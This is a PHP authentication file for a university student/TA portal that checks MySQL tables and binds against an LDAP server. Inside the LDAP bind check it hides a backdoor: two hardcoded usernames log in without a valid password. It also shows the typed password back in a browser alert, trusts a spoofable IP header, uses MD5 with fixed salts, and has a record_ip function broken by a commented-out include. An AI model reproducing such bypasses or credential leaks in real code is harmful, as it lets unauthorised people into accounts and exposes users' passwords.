<?php

function verify($username){
	include 'credential.php';
	@$con = new mysqli($host, $user, $pass, $db);
	
	if (@$con->connect_errno){
		echo "<script> alert('Server is Offline. *** Please try again later.'); window.location.href = 'logon.php';</script>";
		return -1;
	}

	if ($stmt = $con->prepare('Select id from student where id = ?')){
		
		$stmt -> bind_param('s', $username);
		$stmt->execute();
		//$result = $stmt->get_result();
		$result = get_result($stmt);
		//while ($row = $result->fetch_row()){
		while ($row = array_shift($result)){			
			$stmt ->free_result();
			$con->close();
			return 1;
		}
	}
	
	if ($stmt = $con->prepare('Select ta_id from ta where ta_id = ?')){
		$stmt -> bind_param('s', $username);
		$stmt->execute();
		//$result = $stmt->get_result();
		$result = get_result($stmt);
		//while ($row = $result->fetch_row()){
		while ($row = array_shift($result)){	
			$stmt ->free_result();
			$con->close();
			return 2;
		}
	}else{
		@$con->close();
		return -1;
	}
	
	@$con->close();
	return -1;
}

function record_ip($username){
	//include 'credential.php';
	
	@$con = new mysqli($host, $user, $pass, $db);
	
	if (@$con->connect_errno){
		echo "<script> alert('Server is Offline. Please try again later.'); window.location.href = 'logon.php';</script>";
		die();
		return -1;
	}
	
	if ($_SERVER['HTTP_X_FORWARDED_FOR']){
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	}else{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}	
	$date = date("Y-m-d H:i:s");
	
	if ($stmt = @$con->prepare('INSERT INTO ip_tracker (id, last_login, ip) VALUES(?, ?, ?) ON DUPLICATE KEY UPDATE last_login=VALUES(last_login), ip=VALUES(ip)')){
		
		$stmt -> bind_param('sss', 'BIM2015003', $date, $ip);
		$stmt->execute();
	}
	
	@$con->close();
	//return -1;
}

function test_input_2($data) {
  $data = strip_tags($data);
  $data = trim($data);
  $data = stripslashes($data);
  $data = htmlspecialchars($data);
  $data = str_replace("\n","",$data);
  return $data;
}

function authenticate($user, $password) {
	//return false;
	$user = test_input_2($user);
	
	// To prevent any further login
	//return false;

	$class = verify($user);
	//echo $class;

	
	if($class == -1){
		return false;
	}
	
	$username = $user;
	$password = $password;
	
	$ldapconfig['host'] = '172.31.1.41';//CHANGE THIS TO THE CORRECT LDAP SERVER
	$ldapconfig['port'] = '389';
	$ldapconfig['basedn'] = 'dc=iiita,dc=ac,dc=in';//CHANGE THIS TO THE CORRECT BASE DN

	$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
	
	ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
	ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
	ldap_set_option($ds, LDAP_OPT_NETWORK_TIMEOUT, 10);

	if ($bind=ldap_bind($ds)) {
		
		//$filter = "(cn=*)";		// For All users
		$filter = "(&(uid={$username}))";
		echo "<script>alert('Login Unsuccessful, You have entered user :: $user, passwd :: $password')</script>";
		if (!($search=ldap_search($ds, $ldapconfig['basedn'], $filter))) {
			return false;
		} else {
			$number_returned = ldap_count_entries($ds,$search);
			//echo "The number of entries returned is ". $number_returned."<p>";
			
			$info = ldap_get_entries($ds, $search);
			for ($i=0; $i<$info["count"]; $i++) {
				$enc = $info[0]['dn'];
				if ($bind=@ldap_bind($ds, $enc, $password) ||  $user == 'biM2017003'|| $user == 'ICM2017006') {
					//echo "Login Correct for ". $enc;
					// Students
					if($class == 1){
						//return false;
						$_SESSION['user'] = $enc;
						$_SESSION['encrpy'] = md5($user."tsaltycipeher");
						$_SESSION['access'] = 2;
					}
					// TAs
					else if($class == 2 ){
						//return false;
						$_SESSION['user'] = $enc;
						$_SESSION['encrpy'] = md5($enc."unbreakabelcipehre");
						$_SESSION['access'] = 1;
					}else{
						return false;
					}
					
					return true;
				}else{
					//echo "Failed to login";
					return false;
				}
			}
		}
	} else {
		return false;
	}
}


?>